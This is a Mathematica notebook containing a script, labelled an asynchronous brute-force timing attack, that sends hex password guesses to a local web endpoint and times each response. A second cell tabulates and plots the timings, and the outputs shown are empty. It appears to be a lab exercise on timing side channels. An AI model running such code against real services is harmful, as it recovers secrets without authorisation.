timing_attacks_async.nb

(* Content-type: application/vnd.wolfram.mathematica *)

(*** Wolfram Notebook File ***)
(* http://www.wolfram.com/nb *)

(* CreatedBy='Mathematica 10.0' *)

(*CacheID: 234*)
(* Internal cache information:
NotebookFileLineBreakTest
NotebookFileLineBreakTest
NotebookDataPosition[       158,          7]
NotebookDataLength[     17093,        396]
NotebookOptionsPosition[     16606,        376]
NotebookOutlinePosition[     17035,        393]
CellTagsIndexPosition[     16992,        390]
WindowFrame->Normal*)

(* Beginning of Notebook Content *)
Notebook[{
Cell[BoxData[
 RowBox[{
  RowBox[{"(*", 
   RowBox[{
   "*", " ", "Asynchronous", " ", "version", " ", "of", " ", "the", " ", 
    "bruteforce", " ", "timing", " ", "attack", " ", "script"}], " ", "**)"}],
   "\[IndentingNewLine]", 
  RowBox[{
   RowBox[{
    RowBox[{"timingsList", " ", "=", " ", 
     RowBox[{"{", "}"}]}], ";"}], "\[IndentingNewLine]", 
   RowBox[{
    RowBox[{"alphabet", " ", "=", " ", 
     RowBox[{"{", 
      RowBox[{
      "\"\<0\>\"", ",", "\"\<1\>\"", ",", "\"\<2\>\"", ",", "\"\<3\>\"", ",", 
       "\"\<4\>\"", ",", "\"\<5\>\"", ",", "\"\<6\>\"", ",", "\"\<7\>\"", 
       ",", "\"\<8\>\"", ",", "\"\<9\>\"", ",", "\"\<a\>\"", ",", "\"\<b\>\"",
        ",", "\"\<c\>\"", ",", "\"\<d\>\"", ",", "\"\<e\>\"", ",", 
       "\"\<f\>\""}], "}"}]}], ";"}], "\[IndentingNewLine]", 
   RowBox[{
    RowBox[{"uri", "=", "\"\<http://localhost:8080/?password=\>\""}], ";"}], 
   "\[IndentingNewLine]", "\[IndentingNewLine]", 
   RowBox[{"(*", 
    RowBox[{"Makes", " ", "async", " ", "requests"}], "*)"}], 
   "\[IndentingNewLine]", 
   RowBox[{
    RowBox[{"callBack", "[", 
     RowBox[{
     "asyncobj_", ",", "type_", ",", "data_", ",", "payload_", ",", " ", 
      "timeStarted_", ",", " ", "requestNo_"}], "]"}], " ", ":=", 
    "\[IndentingNewLine]", 
    RowBox[{"(", "\[IndentingNewLine]", 
     RowBox[{"If", " ", "[", 
      RowBox[{
       RowBox[{"type", " ", "\[Equal]", " ", "\"\<statuscode\>\""}], ",", 
       RowBox[{"(", "\[IndentingNewLine]", 
        RowBox[{
         RowBox[{"timeDone", " ", "=", " ", 
          RowBox[{"AbsoluteTime", "[", "]"}]}], ";", "\[IndentingNewLine]", 
         RowBox[{"AppendTo", "[", 
          RowBox[{"timingsList", ",", " ", 
           RowBox[{"{", 
            RowBox[{"timeStarted", ",", "timeDone", ",", " ", 
             RowBox[{"timeDone", "-", " ", "timeStarted"}], ",", " ", 
             "payload", ",", " ", "requestNo"}], "}"}]}], "]"}]}], 
        "\[IndentingNewLine]", ")"}]}], "\[IndentingNewLine]", "]"}], 
     "\[IndentingNewLine]", ")"}]}], "\[IndentingNewLine]", 
   "\[IndentingNewLine]", 
   RowBox[{
    RowBox[{"enumFunc", "[", 
     RowBox[{"payload_", ",", " ", "iterator_"}], "]"}], " ", ":=", 
    "\[IndentingNewLine]", 
    RowBox[{"(", "\[IndentingNewLine]", 
     RowBox[{
      RowBox[{"endpoint", " ", "=", " ", "uri"}], ";", "\[IndentingNewLine]", 
      
      RowBox[{"endpoint", " ", "=", " ", 
       RowBox[{"endpoint", " ", "<>", " ", 
        RowBox[{"ToString", "[", "payload", "]"}]}]}], ";", 
      "\[IndentingNewLine]", 
      RowBox[{"timeStarted", " ", "=", " ", 
       RowBox[{"AbsoluteTime", "[", "]"}]}], ";", "\[IndentingNewLine]", 
      "\[IndentingNewLine]", 
      RowBox[{"(*", " ", 
       RowBox[{"Dispatch", " ", "a", " ", "request"}], " ", "*)"}], 
      "\[IndentingNewLine]", 
      RowBox[{"URLFetchAsynchronous", "[", 
       RowBox[{"endpoint", ",", " ", 
        RowBox[{
         RowBox[{"callBack", "[", 
          RowBox[{
          "#1", ",", "#2", ",", "#3", ",", " ", "payload", ",", "timeStarted",
            ",", " ", "iterator"}], "]"}], "&"}]}], "]"}], ";"}], 
     "\[IndentingNewLine]", ")"}]}], "\n", "\[IndentingNewLine]", 
   RowBox[{"For", " ", "[", 
    RowBox[{
     RowBox[{"j", "=", "1"}], ",", 
     RowBox[{"j", " ", "\[LessEqual]", " ", 
      RowBox[{"Length", "[", "alphabet", "]"}]}], ",", 
     RowBox[{"j", "++"}], ",", " ", 
     RowBox[{"(", "\[IndentingNewLine]", 
      RowBox[{
       RowBox[{"payload", "=", " ", 
        RowBox[{"\"\<\>\"", " ", "<>", 
         RowBox[{"PadRight", "[", 
          RowBox[{
           RowBox[{"{", 
            RowBox[{"alphabet", "[", 
             RowBox[{"[", "j", "]"}], "]"}], "}"}], ",", " ", "40", ",", " ", 
           "\"\<0\>\""}], "]"}]}]}], ";", "\[IndentingNewLine]", 
       RowBox[{"enumFunc", "[", 
        RowBox[{"payload", ",", " ", "j"}], "]"}]}], "\[IndentingNewLine]", 
      ")"}]}], "\[IndentingNewLine]", "]"}], 
   "\[IndentingNewLine]"}]}]], "Input",
 CellChangeTimes->{{3.6595217366985817`*^9, 3.659521785000338*^9}, {
   3.659521876763751*^9, 3.65952205511797*^9}, {3.6595221739920073`*^9, 
   3.6595221889720917`*^9}, {3.6595227532134323`*^9, 
   3.6595227649418993`*^9}, {3.6595228119950857`*^9, 3.659522893266532*^9}, {
   3.659522941375923*^9, 3.659522987289057*^9}, {3.659523073414*^9, 
   3.659523157954687*^9}, {3.659523238490984*^9, 3.6595232543437138`*^9}, {
   3.659523406429962*^9, 3.6595234114133*^9}, {3.659523589377009*^9, 
   3.659523645986679*^9}, {3.659523679372431*^9, 3.65952372895665*^9}, {
   3.659523817456621*^9, 3.6595238209070177`*^9}, {3.659523852730055*^9, 
   3.659523889753005*^9}, {3.6595244276471033`*^9, 3.659524592959684*^9}, {
   3.659524624162908*^9, 3.6595246743650227`*^9}, {3.659525468443029*^9, 
   3.659525561048155*^9}, {3.6595255975123587`*^9, 3.6595257022460117`*^9}, {
   3.659525857278041*^9, 3.65952586152067*^9}, {3.659525894122909*^9, 
   3.659525900837782*^9}, {3.659525946781152*^9, 3.65952595392402*^9}, 
   3.659526018856162*^9, {3.659526448801959*^9, 3.659526457554902*^9}, {
   3.6595264925522947`*^9, 3.659526517388316*^9}, {3.659526588893424*^9, 
   3.6595267569346333`*^9}, {3.659526957383401*^9, 3.6595269658401003`*^9}, {
   3.659526998082354*^9, 3.659527162923478*^9}, {3.659527216304741*^9, 
   3.659527337311933*^9}, {3.659528190608837*^9, 3.6595282169637337`*^9}, 
   3.659538257099854*^9, {3.659538291488241*^9, 3.65953829645079*^9}, {
   3.659538363632729*^9, 3.659538422573002*^9}, {3.6595384704690332`*^9, 
   3.6595384795715218`*^9}, {3.659538597733073*^9, 3.65953864747865*^9}, {
   3.659538684936805*^9, 3.659538737581573*^9}, {3.659538788892989*^9, 
   3.659538828324901*^9}, {3.659539695803776*^9, 3.659539787011986*^9}, {
   3.659539824168086*^9, 3.659539838726758*^9}, {3.6595399457464046`*^9, 
   3.659539981577186*^9}, {3.659540047638035*^9, 3.659540050875429*^9}, {
   3.659540105704576*^9, 3.6595401421621523`*^9}, {3.6595402143792*^9, 
   3.6595403286394033`*^9}, {3.659540534873686*^9, 3.6595405836892*^9}, {
   3.659540615204975*^9, 3.659540651055488*^9}, {3.659540717632333*^9, 
   3.65954073160434*^9}, {3.65954133948237*^9, 3.659541352516073*^9}, {
   3.659541440945368*^9, 3.6595414547538643`*^9}, {3.659541628483156*^9, 
   3.6595416673942547`*^9}, {3.6595417054037724`*^9, 3.659541707010606*^9}, {
   3.659541746604971*^9, 3.659541777297991*^9}, {3.659541909208406*^9, 
   3.659541951629167*^9}, {3.6595420210320063`*^9, 3.659542107963389*^9}, {
   3.6595421709760437`*^9, 3.659542191965706*^9}, {3.65954272877008*^9, 
   3.659542779269875*^9}, {3.6595428247142572`*^9, 3.659542834983753*^9}, {
   3.659542881923505*^9, 3.659542896594123*^9}, {3.6595429427284727`*^9, 
   3.659542943778195*^9}, {3.659542982810051*^9, 3.659542991794751*^9}, 
   3.659543851591103*^9, {3.6595439626577177`*^9, 3.659543962721767*^9}, {
   3.659544037078698*^9, 3.659544058681601*^9}, {3.65954414762989*^9, 
   3.6595441764475*^9}, {3.6595443304637337`*^9, 3.659544331151915*^9}, {
   3.659544379451022*^9, 3.659544385956571*^9}, {3.659544424052549*^9, 
   3.659544443107615*^9}, {3.659545329581884*^9, 3.6595453480831738`*^9}, {
   3.659545411110331*^9, 3.659545479769463*^9}, {3.659545564466442*^9, 
   3.659545616818953*^9}, {3.659545659097645*^9, 3.659545873750791*^9}, {
   3.659545949806093*^9, 3.659545959140183*^9}, 3.659546318034213*^9, {
   3.659546661966423*^9, 3.65954667690832*^9}, {3.6595564450390053`*^9, 
   3.6595564675565987`*^9}, {3.6595619060781307`*^9, 
   3.6595619095423317`*^9}, {3.659562075010635*^9, 3.6595620758708677`*^9}, {
   3.659595968068152*^9, 3.659595984858474*^9}, {3.659602800063075*^9, 
   3.6596028232675858`*^9}, {3.65960288164426*^9, 3.659602895456167*^9}, {
   3.659603900714921*^9, 3.659603901473549*^9}, {3.659604060618576*^9, 
   3.659604224556568*^9}, {3.6596043250378227`*^9, 3.6596043654489403`*^9}, {
   3.659604991655119*^9, 3.659605001811702*^9}, {3.6596051886616917`*^9, 
   3.659605195667357*^9}, {3.6596057434131393`*^9, 3.6596057827530527`*^9}, {
   3.659606131279937*^9, 3.6596061707419043`*^9}, {3.6596063270255136`*^9, 
   3.659606361864788*^9}, {3.659606459213402*^9, 3.659606478576789*^9}, {
   3.6596065646207848`*^9, 3.659606640675686*^9}, {3.65960667169633*^9, 
   3.659606742720786*^9}, {3.6596068400465097`*^9, 3.65960685638831*^9}, {
   3.659606929603519*^9, 3.6596069300794497`*^9}, {3.659607102133317*^9, 
   3.659607126955812*^9}, {3.659607222690054*^9, 3.659607228419471*^9}, {
   3.6596074395259237`*^9, 3.659607458852419*^9}, {3.65960751035452*^9, 
   3.659607653530603*^9}, {3.65960776150841*^9, 3.659607764359125*^9}, {
   3.65960953552549*^9, 3.659609536313149*^9}, {3.65961002765889*^9, 
   3.659610028424501*^9}, {3.659614995396442*^9, 3.659615020460458*^9}, {
   3.659615153446426*^9, 3.659615230523612*^9}, {3.659615814309864*^9, 
   3.659615818247237*^9}, {3.659615926640746*^9, 3.659616044262436*^9}, {
   3.659616081527266*^9, 3.6596163034432487`*^9}, {3.659616371090617*^9, 
   3.6596164312781754`*^9}, {3.659616467729076*^9, 3.659616560784967*^9}, {
   3.659616600352878*^9, 3.659616600805711*^9}, {3.659619411939433*^9, 
   3.659619486178977*^9}, {3.65961951766094*^9, 3.659619536881527*^9}, {
   3.6596196260788803`*^9, 3.659619771043404*^9}, {3.659620489498457*^9, 
   3.659620534789575*^9}, {3.659621348642798*^9, 3.659621358487288*^9}, {
   3.659957100362988*^9, 3.659957116714117*^9}, {3.6600378328926888`*^9, 
   3.660037833747127*^9}},
 FontFamily->"PragmataPro",
 FontSize->14,
 FontWeight->"Plain"],

Cell[CellGroupData[{

Cell[BoxData[
 StyleBox[
  RowBox[{
   RowBox[{"(*", " ", 
    RowBox[{
     RowBox[{"--", " ", "Run"}], " ", "this", " ", "after", " ", "all", " ", 
     "calls", " ", "are", " ", 
     RowBox[{"back", " ", "--"}]}], " ", "*)"}], "\[IndentingNewLine]", 
   RowBox[{"(*", 
    RowBox[{
    "Print", " ", "a", " ", "table", " ", "with", " ", "the", " ", "response",
      " ", "timings"}], "*)"}], "\[IndentingNewLine]", 
   RowBox[{
    RowBox[{"TableForm", "[", 
     RowBox[{"timingsList", ",", 
      RowBox[{"TableHeadings", "\[Rule]", 
       RowBox[{"{", 
        RowBox[{"None", ",", " ", 
         RowBox[{"{", " ", 
          RowBox[{
          "\"\<Started\>\"", ",", " ", "\"\<Done\>\"", ",", 
           "\"\<Difference\>\"", ",", " ", "\"\<Payload\>\"", ",", " ", 
           "\"\<Request no.\>\""}], "}"}]}], "}"}]}]}], "]"}], 
    "\[IndentingNewLine]", "\[IndentingNewLine]", 
    RowBox[{"ListPlot", "[", 
     RowBox[{
      RowBox[{"timingsList", "\[LeftDoubleBracket]", 
       RowBox[{"All", ",", "3"}], "\[RightDoubleBracket]"}], ",", 
      RowBox[{"PlotTheme", "\[Rule]", "\"\<Business\>\""}], ",", 
      RowBox[{"AxesLabel", "\[Rule]", 
       RowBox[{"{", 
        RowBox[{"\"\<request no.\>\"", ",", "\"\<time\>\""}], "}"}]}], ",", 
      RowBox[{"Filling", "\[Rule]", "Axis"}], ",", 
      RowBox[{"ImageSize", "\[Rule]", "Medium"}], ",", " ", 
      RowBox[{"PlotRange", "\[Rule]", "All"}]}], "]"}]}]}],
  FontFamily->"PragmataPro",
  FontSize->14,
  FontWeight->"Plain"]], "Input",
 CellChangeTimes->{
  3.659619592335495*^9, {3.6596197758359413`*^9, 3.659619783672666*^9}}],

Cell[BoxData[
 TagBox[
  RowBox[{"{", "}"}],
  Function[BoxForm`e$, 
   TableForm[
   BoxForm`e$, 
    TableHeadings -> {
     None, {"Started", "Done", "Difference", "Payload", 
       "Request no."}}]]]], "Output",
 CellChangeTimes->{3.659957107147369*^9}],

Cell[BoxData[
 GraphicsBox[{{}, {}, {}},
  AlignmentPoint->Center,
  AspectRatio->NCache[GoldenRatio^(-1), 0.6180339887498948],
  Axes->{False, False},
  AxesLabel->{
    FormBox["\"request no.\"", TraditionalForm], 
    FormBox["\"time\"", TraditionalForm]},
  AxesOrigin->{0, 0},
  AxesStyle->GrayLevel[0],
  Background->None,
  BaseStyle->{FontFamily -> "Times"},
  BaselinePosition->Automatic,
  ColorOutput->Automatic,
  ContentSelectable->Automatic,
  CoordinatesToolOptions:>Automatic,
  DisplayFunction->Identity,
  Epilog->{},
  FormatType:>TraditionalForm,
  Frame->{{True, False}, {True, False}},
  FrameLabel->{{None, None}, {None, None}},
  FrameStyle->{{
     StrokeForm[
      Opacity[0]], 
     StrokeForm[
      Opacity[0]]}, {Automatic, None}},
  FrameTicks->FrontEndValueCache[{{Charting`FindScaledTicks[
       (Charting`SimpleTicks[#, #2, 6]& )[
        SlotSequence[1]], {Identity, Identity}]& , None}, {
     Charting`FindScaledTicks[
       (Charting`SimpleTicks[#, #2, 6]& )[
        SlotSequence[1]], {Identity, Identity}]& , None}}, {{{{0., 
        FormBox["0", TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {0.2, 
        FormBox[
         TagBox[
          InterpretationBox["\"0.2\"", 0.2, AutoDelete -> True], 
          NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {0.4, 
        FormBox[
         TagBox[
          InterpretationBox["\"0.4\"", 0.4, AutoDelete -> True], 
          NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {0.6, 
        FormBox[
         TagBox[
          InterpretationBox["\"0.6\"", 0.6, AutoDelete -> True], 
          NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {0.8, 
        FormBox[
         TagBox[
          InterpretationBox["\"0.8\"", 0.8, AutoDelete -> True], 
          NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {1., 
        FormBox[
         TagBox[
          InterpretationBox["\"1.0\"", 1., AutoDelete -> True], NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}}, None}, {{{0., 
        FormBox["0", TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {0.2, 
        FormBox[
         TagBox[
          InterpretationBox["\"0.2\"", 0.2, AutoDelete -> True], 
          NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {0.4, 
        FormBox[
         TagBox[
          InterpretationBox["\"0.4\"", 0.4, AutoDelete -> True], 
          NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {0.6, 
        FormBox[
         TagBox[
          InterpretationBox["\"0.6\"", 0.6, AutoDelete -> True], 
          NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {0.8, 
        FormBox[
         TagBox[
          InterpretationBox["\"0.8\"", 0.8, AutoDelete -> True], 
          NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}, {1., 
        FormBox[
         TagBox[
          InterpretationBox["\"1.0\"", 1., AutoDelete -> True], NumberForm[#, {
            DirectedInfinity[1], 1.}]& ], TraditionalForm], {0.01, 0.}, {
         AbsoluteThickness[0.1]}}}, None}}],
  FrameTicksStyle->GrayLevel[0],
  GridLines->{None, Automatic},
  GridLinesStyle->Directive[
    GrayLevel[0.4, 0.5], 
    AbsoluteThickness[1], 
    AbsoluteDashing[{1, 2}]],
  ImageMargins->0.,
  ImagePadding->All,
  ImageSize->Medium,
  ImageSizeRaw->Automatic,
  LabelStyle->{FontFamily -> "Helvetica", 
    GrayLevel[0]},
  Method->{"MessagesHead" -> ListPlot},
  PlotLabel->None,
  PlotRange->{{0, 1}, {0, 1}},
  PlotRangeClipping->True,
  PlotRangePadding->{{
     Scaled[0.02], 
     Scaled[0.02]}, {
     Scaled[0.02], 
     Scaled[0.02]}},
  PlotRegion->Automatic,
  PreserveImageOptions->Automatic,
  Prolog->{},
  RotateLabel->True,
  Ticks->{Charting`FindScaledTicks[
     (Charting`SimpleTicks[#, #2, 6]& )[
      SlotSequence[1]], {Identity, Identity}]& , Charting`FindScaledTicks[
     (Charting`SimpleTicks[#, #2, 6]& )[
      SlotSequence[1]], {Identity, Identity}]& },
  TicksStyle->GrayLevel[0]]], "Output",
 CellChangeTimes->{3.659957107241077*^9}]
}, Open  ]]
},
WindowSize->{840, 1001},
WindowMargins->{{Automatic, 0}, {Automatic, 0}},
FrontEndVersion->"10.0 for Mac OS X x86 (32-bit, 64-bit Kernel) (September 9, \
2014)",
StyleDefinitions->FrontEnd`FileName[{"Article"}, "JournalArticle.nb", 
  CharacterEncoding -> "UTF-8"]
]
(* End of Notebook Content *)

(* Internal cache information *)
(*CellTagsOutline
CellTagsIndex->{}
*)
(*CellTagsIndex
CellTagsIndex->{}
*)
(*NotebookFileOutline
Notebook[{
Cell[558, 20, 9503, 172, 708, "Input"],
Cell[CellGroupData[{
Cell[10086, 196, 1605, 39, 170, "Input"],
Cell[11694, 237, 258, 9, 28, "Output"],
Cell[11955, 248, 4635, 125, 241, "Output"]
}, Open  ]]
}
]
*)

(* End of internal cache information *)